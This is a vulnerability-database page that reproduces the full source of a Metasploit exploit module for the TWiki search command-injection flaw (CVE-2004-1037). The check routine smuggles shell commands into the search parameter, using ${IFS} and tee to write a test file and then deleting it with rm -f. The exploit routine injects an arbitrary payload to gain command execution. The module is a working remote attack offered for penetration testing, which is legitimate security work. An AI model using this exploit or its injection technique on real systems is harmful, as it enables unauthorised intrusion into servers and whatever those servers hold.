Lucene search
+L

TWiki Search Function Arbitrary Command Execution

🗓️ 01 Oct 2004 00:00:00Reported by jduck <[email protected]>, g0tmi1kType 
metasploit
 metasploit
🔗 www.rapid7.com👁 90 Views

TWiki Search Function Arbitrary Command Execution This module exploits a vulnerability in the search component of TWiki. By passing a 'search' parameter containing shell metacharacters to the 'WebSearch' script, an attacker can execute arbitrary OS commands

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TWiki Search Function Arbitrary Command Execution',
        'Description' => %q{
          This module exploits a vulnerability in the search component of TWiki.
          By passing a 'search' parameter containing shell metacharacters to a
          'Search' script, an attacker can execute arbitrary OS commands.

          Affected versions:
          - 20040901
          - 20030201
          - 20011201
          - 20001201
          - SVN up to and including revision 3224
        },
        'Author' => [
          # Unknown - original discovery
          'jduck',    # metasploit version
          'g0tmi1k'   # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1037' ],
          [ 'OSVDB', '11714' ],
          [ 'BID', '11674' ],
          [ 'URL', 'https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ]
        ],
        'DisclosureDate' => '2004-10-01',
        'Privileged' => true, # web server context
        'Platform' => %w[unix linux],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => ' ',
          'Space' => 1024
        },
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
        # /view/Main/WebSearch      - https://github.com/rapid7/metasploit-framework/commit/6414821ea860c6f33d9129d9af0e9648be5972a9
        # /search/Main/SearchResult - https://www.exploit-db.com/exploits/642
        OptString.new('SEARCH_PATH', [ true, "TWiki search directory path", "/search/Main/SearchResult" ]),
      ]
    )
  end

  def report_twiki_service
    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: 'TWiki',
      parents: {
        name: ssl ? 'https' : 'http',
        host: rhost,
        port: rport,
        proto: 'tcp',
        parents: {
          name: 'tcp',
          host: rhost,
          port: rport,
          proto: 'tcp',
          parents: nil
        }
      }
    )
  end

  def send_request(uri, timeout = 25)
    send_request_cgi({
      'uri' => uri
    }, timeout)
  end

  def check
    content = rand_text_alphanumeric(16 + rand(16))
    test_file = rand_text_alphanumeric(8 + rand(8))
    test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file)
    search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH'])
    search_url << '?search='
    vprint_status("URI: #{search_url}")

    # first see if it already exists (it really shouldn't)
    res = send_request(test_url)
    if (not res) or (res.body.match(content))
      vprint_warning("The test file exists already!")
      return Exploit::CheckCode::Unknown('Could not determine the target status') # Need to try again with a different file
    end

    # try to create it
    vprint_status("Attempting to create: #{test_url}")
    search = rand_text_alphanumeric(1 + rand(8))
    search << "';echo${IFS}" + content + "${IFS}|tee${IFS}" + test_file + ".txt;#'"
    res = send_request(search_url + Rex::Text.uri_encode(search))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # try to call it
    vprint_status("Checking if created: #{test_url}")
    res = send_request(test_url)
    if (not res) or (not res.body.match(content))
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 500)") unless res&.code == 500
      vprint_warning("Error with exploit request (Content doesn't match)") unless res&.body&.match(content)
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # delete the tmp file
    print_status("Attempting to delete: #{test_url}")
    search = rand_text_alphanumeric(1 + rand(8))
    search << "';rm${IFS}-f${IFS}" + test_file + ".txt;#'"
    res = send_request(search_url + Rex::Text.uri_encode(search))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      print_warning("Unable to remove test file (#{test_file})")
    end

    report_twiki_service
    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH'])
    search_url << '?search='
    search_url << rand_text_alphanumeric(1 + rand(8))
    vprint_status("URI: #{search_url}")

    search = "';" + payload.encoded + ";#'"
    vprint_status("Executing command: #{payload.encoded}")

    vprint_status("Sending payload")
    # Very short timeout because the request may never return if we're sending a socket payload
    timeout = 0.1
    res = send_request(search_url + Rex::Text.uri_encode(search), timeout)
    vprint_status("Payload sent")

    # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
    if res.nil?
      vprint_warning("The request received no response in the allotted time, and is expected, even if the exploit succeeds.")
    elsif res.code != 200
      vprint_error("Error with payload request (HTTP #{res.code}, should be 200)")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation